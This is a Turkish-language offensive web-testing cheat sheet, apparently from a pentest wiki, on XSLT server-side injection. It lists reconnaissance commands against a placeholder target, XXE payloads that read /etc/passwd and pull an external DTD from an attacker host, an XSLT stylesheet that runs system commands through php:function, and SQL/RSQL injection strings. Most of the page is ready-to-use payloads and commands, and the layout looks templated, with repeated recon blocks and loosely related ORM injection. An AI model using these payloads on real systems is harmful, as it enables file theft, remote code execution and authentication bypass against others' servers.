XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
web offensive
XSLT Server Side Injection (Extensible Stylesheet Language Transformations) web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)giriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Hedef yığını, endpoint’leri ve auth sınırını netleştir.
curl -skI https://TARGET/whatweb -a 3 https://TARGETkatana -u https://TARGET -jc -d 3 -o crawl.txtffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403arjun -u https://TARGET/api/v1/item --getXXE / XSLT
Section titled “XXE / XSLT”<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r><?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://ATTACKER/x.dtd">%dtd;]>curl -sk -H 'Content-Type: application/xml' --data-binary @xxe.xml https://TARGET/xml<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('system','id')"/></xsl:template></xsl:stylesheet>ORM / RSQL injection
Section titled “ORM / RSQL injection”id=1) OR 1=1--name==*admin*;role==admincurl -sk 'https://TARGET/api/users?search=id=1)%20OR%201=1--'HQL/JPQL: ' OR hibernate functionOperasyon notları
Section titled “Operasyon notları”XSLT Server Side Injection (Extensible Stylesheet Language Transformations) sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html